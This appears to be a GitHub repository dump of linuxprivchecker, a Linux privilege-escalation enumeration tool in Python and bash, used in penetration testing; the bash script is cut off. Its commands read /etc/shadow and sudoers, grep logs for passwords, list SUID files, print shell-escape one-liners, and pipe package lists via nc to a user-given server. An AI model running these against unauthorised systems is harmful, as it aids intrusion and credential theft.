├── .gitignore ├── .gitmodules ├── README.md ├── linuxprivchecker.py ├── linuxprivchecker.py.old ├── linuxprivchecker.sh └── privcheckerserver.py /.gitignore: -------------------------------------------------------------------------------- 1 | #files made by exploitdb 2 | exploits 3 | archive.tar.bz2 4 | .latest 5 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tib3rius/linuxprivchecker/53495de1b070519e802bb8f42fce69f35d6dbb27/.gitmodules -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Linux Privilege Escalation Check Script 3 | 4 | ## [Details:] 5 | Originally forked from the linuxprivchecker.py (Mike Czumak), this script 6 | is intended to be executed locally on a Linux box to enumerate basic system 7 | info and search for common privilege escalation vectors such as word 8 | writable files, misconfigurations, clear-text password and applicable 9 | exploits. 10 | 11 | ## [Maintainer]: 12 | Mike Merrill (linted) -- https://github.com/linted 13 | 14 | ## [Contributors]: 15 | James Hogan (5aru) -- https://github.com/5aru 16 | Ali Kaba -- https://github.com/alibkaba 17 | 18 | ## [Original Author]: 19 | Mike Czumak (T_v3rn1x) -- @SecuritySift 20 | 21 | ## [Modification, Distribution, and Attribution]: 22 | Permission is herby granted, free of charge, to any person obtaining a copy 23 | of this software and the associated documentation files (the "Software"), 24 | to use, copy, modify, merge, publish, distribute, and/or sublicense copies 25 | of the Software, and to permit persons to whom the Software is furnished to 26 | do so, subject to the following conditions: 27 | 28 | The software must maintain original author attribution and may not be sold 29 | or incorporated into any commercial offering. 30 | 31 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 32 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 33 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 34 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER 35 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 36 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 37 | DEALINGS IN THE SOFTWARE. 38 | -------------------------------------------------------------------------------- /linuxprivchecker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ############################################################################################################### 4 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script for python 3 5 | ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 | ## [Updater]: Mike Merrill (linted) 7 | ##------------------------------------------------------------------------------------------------------------- 8 | ## [Details]: 9 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 10 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 11 | ## passwords and applicable exploits. 12 | ##------------------------------------------------------------------------------------------------------------- 13 | ## [Warning]: 14 | ## This script comes as-is with no promise of functionality or accuracy. 15 | ##------------------------------------------------------------------------------------------------------------- 16 | ## [Modification, Distribution, and Attribution]: 17 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 18 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering. 19 | ############################################################################################################### 20 | 21 | # conditional import for older versions of python not compatible with subprocess 22 | from sys import version_info 23 | if version_info >= (3,5): 24 | #import subprocess as sub 25 | from subprocess import run, PIPE 26 | def do_cmd(cmd): 27 | return run(cmd, stdout=PIPE, stderr=PIPE, shell=True).stdout 28 | elif version_info >= (3,): 29 | #import os # older version of python, need to use ### instead 30 | from subprocess import check_output, STDOUT 31 | def do_cmd(cmd): 32 | return check_output(cmd, shell=True, stderr=STDOUT) 33 | else: 34 | print("Error: please run in python3 only.") 35 | exit(1) 36 | 37 | # title / formatting 38 | bigline = "=" * 80 39 | smlline = "-" * 80 40 | 41 | 42 | 43 | def header(message): 44 | print(bigline) 45 | print(message) 46 | print(bigline) 47 | print("") 48 | 49 | # loop through dictionary, execute the commands, store the results, return updated dict 50 | def execCmd(cmdDict): 51 | for item in cmdDict: 52 | cmd = cmdDict[item]["cmd"] 53 | try: 54 | stdout = do_cmd(cmd) 55 | results = stdout.decode().split('\n') 56 | except Exception as e: 57 | results = ['[-] failed: {}'.format(e)] 58 | cmdDict[item]["results"]=results 59 | 60 | printResults(cmdDict) 61 | 62 | # print results for each previously executed command, no return value 63 | def printResults(cmdDict): 64 | for item in cmdDict: 65 | msg = cmdDict[item]["msg"] 66 | results = cmdDict[item]["results"] 67 | print("[+] " + msg) 68 | for result in results: 69 | if result.strip() != "": 70 | print( " " + result.strip()) 71 | print("\n") 72 | return 73 | 74 | def writeResults(msg, results): 75 | f = open("privcheckout.txt", "a") 76 | f.write("[+] " + str(len(results)-1) + " " + msg) 77 | for result in results: 78 | if result.strip() != "": 79 | f.write(" " + result.strip()) 80 | f.close() 81 | return 82 | 83 | header("LINUX PRIVILEGE ESCALATION CHECKER") 84 | 85 | # Basic system info 86 | print( "[*] GETTING BASIC SYSTEM INFO...\n") 87 | 88 | sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System"}, 89 | "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel"}, 90 | "HOSTNAME":{"cmd":"hostname", "msg":"Hostname"} 91 | } 92 | 93 | execCmd(sysInfo) 94 | 95 | # Networking Info 96 | 97 | print( "[*] GETTING NETWORKING INFO...\n") 98 | 99 | netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces"}, 100 | "ROUTE":{"cmd":"route", "msg":"Route"}, 101 | "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat"}, 102 | "IP_Adder":{"cmd":"ip addr", "msg":"ip addr"}, 103 | "IP_Route":{"cmd":"ip route", "msg":"ip route"}, 104 | "SS":{"cmd":"ss -antup", "msg":"ss"} 105 | } 106 | 107 | execCmd(netInfo) 108 | 109 | # File System Info 110 | print( "[*] GETTING FILESYSTEM INFO...\n") 111 | 112 | driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results"}, 113 | "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries"} 114 | } 115 | 116 | execCmd(driveInfo) 117 | 118 | # Scheduled Cron Jobs 119 | cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs"}, 120 | "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs"} 121 | } 122 | 123 | execCmd(cronInfo) 124 | 125 | # User Info 126 | print("\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n") 127 | 128 | userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User"}, 129 | "ID":{"cmd":"id","msg":"Current User ID"}, 130 | "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users"}, 131 | "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:"}, 132 | "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)"}, 133 | "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment"}, 134 | "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)"}, 135 | "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity"} 136 | } 137 | 138 | execCmd(userInfo) 139 | 140 | if "root" in userInfo["ID"]["results"][0]: 141 | print("[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n") 142 | 143 | # File/Directory Privs 144 | print("[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n") 145 | 146 | fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'"}, 147 | "WWDIRS":{"cmd":"find / \( -type d -perm -o+w \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root"}, 148 | "WWFILES":{"cmd":"find / \( -wholename '/proc/*' -prune \) -o \( -type f -perm -o+w \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files"}, 149 | "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories"}, 150 | "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible"} 151 | } 152 | 153 | execCmd(fdPerms) 154 | 155 | pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'"}, 156 | "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'"}, 157 | "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)"} 158 | } 159 | 160 | execCmd(pwdFiles) 161 | 162 | # Processes and Applications 163 | print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n") 164 | 165 | if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 166 | getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 167 | else: 168 | getPkgs = "rpm -qa | sort -u" # RH/other 169 | 170 | getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes"}, 171 | "PKGS":{"cmd":getPkgs, "msg":"Installed Packages"}} 172 | 173 | execCmd(getAppProc) 174 | 175 | otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)"}, 176 | "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules"}, 177 | "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File"}} 178 | 179 | execCmd(otherApps) 180 | 181 | print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n") 182 | 183 | # find the package information for the processes currently running 184 | # under root or another super user 185 | 186 | procs = getAppProc["PROCS"]["results"] 187 | pkgs = getAppProc["PKGS"]["results"] 188 | supusers = userInfo["SUPUSERS"]["results"] 189 | procdict = {} # dictionary to hold the processes running as super users 190 | 191 | for proc in procs: # loop through each process 192 | relatedpkgs = [] # list to hold the packages related to a process 193 | try: 194 | for user in supusers: # loop through the known super users 195 | if (user != "") and (user in proc): # if the process is being run by a super user 196 | procname = proc.split(" ")[4] # grab the process name 197 | if "/" in procname: 198 | splitname = procname.split("/") 199 | procname = splitname[len(splitname)-1] 200 | for pkg in pkgs: # loop through the packages 201 | if not len(procname) < 3: # name too short to get reliable package results 202 | if procname in pkg: 203 | if procname in procdict: 204 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 205 | if pkg not in relatedpkgs: 206 | relatedpkgs.append(pkg) # add pkg to the list 207 | procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 208 | except: 209 | pass 210 | 211 | for key in procdict: 212 | print(" " + key) # print the process name 213 | try: 214 | if not procdict[key][0] == "": # only print the rest if related packages were found 215 | print(" Possible Related Packages: ") 216 | for entry in procdict[key]: 217 | print(" " + entry) # print each related package 218 | except: 219 | pass 220 | 221 | # EXPLOIT ENUMERATION 222 | 223 | # First discover the avaialable tools 224 | print("\n[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n") 225 | 226 | devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools"}} 227 | execCmd(devTools) 228 | 229 | print("[+] Related Shell Escape Sequences...\n") 230 | 231 | escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], 232 | "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], 233 | "perl":["perl -e 'exec \"/bin/bash\";'"], 234 | "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], 235 | "nmap":["--interactive"]} 236 | 237 | for cmd in escapeCmd: 238 | for result in devTools["TOOLS"]["results"]: 239 | if cmd in result: 240 | for item in escapeCmd[cmd]: 241 | print(" " + cmd + "-->\t" + item) 242 | print("[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n") 243 | 244 | question = input("[?] Would you like to search for possible exploits? [y/N] ") 245 | if 'y' in question.lower(): 246 | server = input("[?] What is the address of the server? ") 247 | port = input("[?] What port is the server using? ") 248 | print("[ ] Connecting to {}:{}".format(server,port)) 249 | exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 250 | execCmd(exploits) 251 | 252 | print("\n[+] Finished") 253 | print(bigline) 254 | -------------------------------------------------------------------------------- /linuxprivchecker.py.old: -------------------------------------------------------------------------------- 1 | #!/usr/env python 2 | 3 | ############################################################################################################### 4 | ## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script 5 | ## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift 6 | ##------------------------------------------------------------------------------------------------------------- 7 | ## [Details]: 8 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 9 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 10 | ## passwords and applicable exploits. 11 | ##------------------------------------------------------------------------------------------------------------- 12 | ## [Warning]: 13 | ## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, 14 | ## I did not write it to be efficient and in some cases you may find the functions may not produce the desired 15 | ## results. For example, the function that links packages to running processes is based on keywords and will 16 | ## not always be accurate. Also, the exploit list included in this function will need to be updated over time. 17 | ## Feel free to change or improve it any way you see fit. 18 | ##------------------------------------------------------------------------------------------------------------- 19 | ## [Modification, Distribution, and Attribution]: 20 | ## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original 21 | ## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's 22 | ## worth anything anyway :) 23 | ############################################################################################################### 24 | 25 | # conditional import for older versions of python not compatible with subprocess 26 | try: 27 | import subprocess as sub 28 | compatmode = 0 # newer version of python, no need for compatibility mode 29 | except ImportError: 30 | import os # older version of python, need to use os instead 31 | compatmode = 1 32 | 33 | # title / formatting 34 | bigline = "=================================================================================================" 35 | smlline = "-------------------------------------------------------------------------------------------------" 36 | 37 | print bigline 38 | print "LINUX PRIVILEGE ESCALATION CHECKER" 39 | print bigline 40 | print 41 | 42 | # loop through dictionary, execute the commands, store the results, return updated dict 43 | def execCmd(cmdDict): 44 | for item in cmdDict: 45 | cmd = cmdDict[item]["cmd"] 46 | if compatmode == 0: # newer version of python, use preferred subprocess 47 | out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() 48 | results = out.split('\n') 49 | else: # older version of python, use os.popen 50 | echo_stdout = os.popen(cmd, 'r') 51 | results = echo_stdout.read().split('\n') 52 | cmdDict[item]["results"]=results 53 | return cmdDict 54 | 55 | # print results for each previously executed command, no return value 56 | def printResults(cmdDict): 57 | for item in cmdDict: 58 | msg = cmdDict[item]["msg"] 59 | results = cmdDict[item]["results"] 60 | print "[+] " + msg 61 | for result in results: 62 | if result.strip() != "": 63 | print " " + result.strip() 64 | print 65 | return 66 | 67 | def writeResults(msg, results): 68 | f = open("privcheckout.txt", "a"); 69 | f.write("[+] " + str(len(results)-1) + " " + msg) 70 | for result in results: 71 | if result.strip() != "": 72 | f.write(" " + result.strip()) 73 | f.close() 74 | return 75 | 76 | # Basic system info 77 | print "[*] GETTING BASIC SYSTEM INFO...\n" 78 | 79 | results=[] 80 | 81 | sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, 82 | "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, 83 | "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} 84 | } 85 | 86 | sysInfo = execCmd(sysInfo) 87 | printResults(sysInfo) 88 | 89 | # Networking Info 90 | 91 | print "[*] GETTING NETWORKING INFO...\n" 92 | 93 | netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, 94 | "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, 95 | "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} 96 | } 97 | 98 | netInfo = execCmd(netInfo) 99 | printResults(netInfo) 100 | 101 | # File System Info 102 | print "[*] GETTING FILESYSTEM INFO...\n" 103 | 104 | driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, 105 | "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} 106 | } 107 | 108 | driveInfo = execCmd(driveInfo) 109 | printResults(driveInfo) 110 | 111 | # Scheduled Cron Jobs 112 | cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, 113 | "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} 114 | } 115 | 116 | cronInfo = execCmd(cronInfo) 117 | printResults(cronInfo) 118 | 119 | # User Info 120 | print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" 121 | 122 | userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, 123 | "ID":{"cmd":"id","msg":"Current User ID", "results":results}, 124 | "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, 125 | "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, 126 | "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, 127 | "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, 128 | "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, 129 | "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} 130 | } 131 | 132 | userInfo = execCmd(userInfo) 133 | printResults(userInfo) 134 | 135 | if "root" in userInfo["ID"]["results"][0]: 136 | print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" 137 | 138 | # File/Directory Privs 139 | print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" 140 | 141 | fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, 142 | "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, 143 | "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, 144 | "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, 145 | "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} 146 | } 147 | 148 | fdPerms = execCmd(fdPerms) 149 | printResults(fdPerms) 150 | 151 | pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, 152 | "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, 153 | "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} 154 | } 155 | 156 | pwdFiles = execCmd(pwdFiles) 157 | printResults(pwdFiles) 158 | 159 | # Processes and Applications 160 | print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" 161 | 162 | if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: 163 | getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian 164 | else: 165 | getPkgs = "rpm -qa | sort -u" # RH/other 166 | 167 | getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, 168 | "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} 169 | } 170 | 171 | getAppProc = execCmd(getAppProc) 172 | printResults(getAppProc) # comment to reduce output 173 | 174 | otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, 175 | "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, 176 | "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} 177 | } 178 | 179 | otherApps = execCmd(otherApps) 180 | printResults(otherApps) 181 | 182 | print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" 183 | 184 | # find the package information for the processes currently running 185 | # under root or another super user 186 | 187 | procs = getAppProc["PROCS"]["results"] 188 | pkgs = getAppProc["PKGS"]["results"] 189 | supusers = userInfo["SUPUSERS"]["results"] 190 | procdict = {} # dictionary to hold the processes running as super users 191 | 192 | for proc in procs: # loop through each process 193 | relatedpkgs = [] # list to hold the packages related to a process 194 | try: 195 | for user in supusers: # loop through the known super users 196 | if (user != "") and (user in proc): # if the process is being run by a super user 197 | procname = proc.split(" ")[4] # grab the process name 198 | if "/" in procname: 199 | splitname = procname.split("/") 200 | procname = splitname[len(splitname)-1] 201 | for pkg in pkgs: # loop through the packages 202 | if not len(procname) < 3: # name too short to get reliable package results 203 | if procname in pkg: 204 | if procname in procdict: 205 | relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list 206 | if pkg not in relatedpkgs: 207 | relatedpkgs.append(pkg) # add pkg to the list 208 | procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry 209 | except: 210 | pass 211 | 212 | for key in procdict: 213 | print " " + key # print the process name 214 | try: 215 | if not procdict[key][0] == "": # only print the rest if related packages were found 216 | print " Possible Related Packages: " 217 | for entry in procdict[key]: 218 | print " " + entry # print each related package 219 | except: 220 | pass 221 | 222 | # EXPLOIT ENUMERATION 223 | 224 | # First discover the avaialable tools 225 | print 226 | print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" 227 | 228 | devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} 229 | devTools = execCmd(devTools) 230 | printResults(devTools) 231 | 232 | print "[+] Related Shell Escape Sequences...\n" 233 | escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} 234 | for cmd in escapeCmd: 235 | for result in devTools["TOOLS"]["results"]: 236 | if cmd in result: 237 | for item in escapeCmd[cmd]: 238 | print " " + cmd + "-->\t" + item 239 | print 240 | print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" 241 | 242 | question = raw_input("[?] Would you like to search for possible exploits? [y/N] ") 243 | if 'y' in question.lower(): 244 | server = raw_input("[?] What is the address of the server? ") 245 | port = raw_input("[?] What port is the server using? ") 246 | print "[ ] Connecting to {}:{}".format(server,port) 247 | exploits = {"EXPLOITS":{"cmd":"dpkg -l | tail -n +6 | awk '{{print $2, $3}} END {{print \"\"}}' | nc {} {}".format(server, port), "msg":"Found the following possible exploits"}} 248 | exploits_results = execCmd(exploits) 249 | printResults(exploits) 250 | 251 | print 252 | print "Finished" 253 | print bigline 254 | -------------------------------------------------------------------------------- /linuxprivchecker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ############################################################################################################### 3 | ## [Title]: linuxprivchecker.sh -- a Linux Privilege Escalation Check Script 4 | ## [Author]: James Hogan (5aru) -- https://github.com/5aru 5 | ## 6 | ## [Contributors]: 7 | ## Mike Merrill (linted) -- https://github.com/linted 8 | ## Ali Kaba (alibkaba) -- https://github.com/alibkaba 9 | ## 10 | ## [Original Author]: Mike Czumak (T_v3rn1x). Thanks for the work he did on the original linux priv checker 11 | ##------------------------------------------------------------------------------------------------------------- 12 | ## [Details]: 13 | ## This script is intended to be executed locally on a Linux box to enumerate basic system info and 14 | ## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text 15 | ## passwords and applicable exploits. 16 | ##------------------------------------------------------------------------------------------------------------- 17 | ## [Warning]: 18 | ## This script comes as-is with no promise of functionality or accuracy. 19 | ##------------------------------------------------------------------------------------------------------------- 20 | ## [Modification, Distribution, and Attribution]: 21 | ## Permission is herby granted, free of charge, to any person obtaining a copy of this software and the 22 | ## associated documentation files (the "Software"), to use, copy, modify, merge, publish, distribute, and/or 23 | ## sublicense copies of the Software, and to permit persons to whom the Software is furnished to do so, subject 24 | ## to the following conditions: 25 | ## 26 | ## The software must maintain original author attribution and may not be sold 27 | ## or incorporated into any commercial offering. 28 | ## 29 | ## THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ## IMPLIED, INCLUDING BUT NOT 30 | ## LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO 31 | ## EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER 32 | ## IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE 33 | ## USE OR OTHER DEALINGS IN THE SOFTWARE. 34 | ############################################################################################################### 35 | 36 | # command paths 37 | PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games"; 38 | 39 | # line formatting 40 | LINE=$(printf "%*s\n" "80" | tr ' ' "#"); 41 | 42 | # title 43 | scriptTITLE(){ 44 | echo ${LINE}; 45 | echo " LINUX PRIVILEGE ESCALATION CHECKER" 46 | echo " https://github.com/linted/linuxprivchecker for more info..." 47 | echo ${LINE}; 48 | echo 49 | } 50 | 51 | systemAREAtitle(){ 52 | echo ${LINE}; 53 | echo -e " $systemAREA"; 54 | echo ${LINE}; 55 | echo 56 | } 57 | 58 | cmdRESPONSE(){ 59 | # run and format cmd 60 | cmdRESULT=$(eval $1 2>/dev/null | sed 's|^| |'; echo "${PIPESTATUS[0]}"); 61 | 62 | # check cmd status 63 | if [ ${cmdRESULT:(-1)} -eq 0 ]; then 64 | echo "[+] $systemNAME"; 65 | echo "${cmdRESULT%?}"; 66 | else 67 | echo "[-] $systemNAME"; 68 | echo "${cmdRESULT%?}"; 69 | fi 70 | } 71 | 72 | operatingSYSTEM(){ 73 | systemAREA="OPERATING SYSTEM"; 74 | systemAREAtitle; 75 | 76 | systemNAME="Distribution"; 77 | cmdRESPONSE "cat /etc/*-release"; 78 | 79 | systemNAME="Kernel"; 80 | cmdRESPONSE "if [ -f /proc/version ]; then cat /proc/version; else uname -a; fi"; 81 | 82 | systemNAME="Hostname"; 83 | cmdRESPONSE "hostname -f"; 84 | } 85 | 86 | netWORK(){ 87 | systemAREA="NETWORK"; 88 | systemAREAtitle; 89 | 90 | systemNAME="Network Interfaces"; 91 | cmdRESPONSE "ifconfig || ip a"; 92 | 93 | systemNAME="DNS Resolver"; 94 | cmdRESPONSE "cat /etc/resolv.conf"; 95 | 96 | systemNAME="Route"; 97 | cmdRESPONSE "route -n || ip route"; 98 | } 99 | 100 | userENVIRONMENT(){ 101 | systemAREA="USERS & ENVIRONMENT"; 102 | systemAREAtitle; 103 | 104 | systemNAME="Current User"; 105 | cmdRESPONSE "whoami"; 106 | 107 | systemNAME="Current User ID"; 108 | cmdRESPONSE "id"; 109 | 110 | systemNAME="Who's Logged Right Now"; 111 | cmdRESPONSE "w"; 112 | 113 | systemNAME="Who's Logged Last"; 114 | cmdRESPONSE "last"; 115 | 116 | systemNAME="All Users"; 117 | cmdRESPONSE "cat /etc/passwd"; 118 | 119 | systemNAME="All Groups"; 120 | cmdRESPONSE "cat /etc/group"; 121 | 122 | systemNAME="Shadow File"; 123 | cmdRESPONSE "cat /etc/shadow"; 124 | 125 | systemNAME="Super Users"; 126 | cmdRESPONSE "grep -v -E '^#' 